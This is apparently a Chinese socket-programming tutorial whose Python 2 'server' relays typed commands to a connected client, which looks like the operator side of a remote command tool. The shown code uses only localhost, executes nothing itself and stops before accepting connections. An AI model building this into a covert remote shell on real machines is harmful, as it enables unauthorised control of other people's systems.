1. 技术：管道通信，流文件处理，socket基础

2. Tips：

默认IP：127.0.0.1

默认端口：7676

3. 代码样例：

服务端：

#!/usr/bin/env python
# encoding: utf-8  

import socket
import sys
from os import *

reload(sys)
sys.setdefaultencoding("utf-8")  

def socketInit():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    return s

def socketDeal(s,HOST,PORT):
    s.bind((HOST,PORT))
    s.listen(1)

def ControlModule(sS,addr):
    recv_buffer = sS.recv(20048)
    if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
        print recv_buffer
        sys.exit(0)
    else:
        print recv_buffer
    send_buf = raw_input(addr[0]+">")
    sS.send(send_buf)

def main():
    HOST = "127.0.0.1"
    PORT = 7676
    s = socketInit()
    socketDeal(s, HOST, PORT)
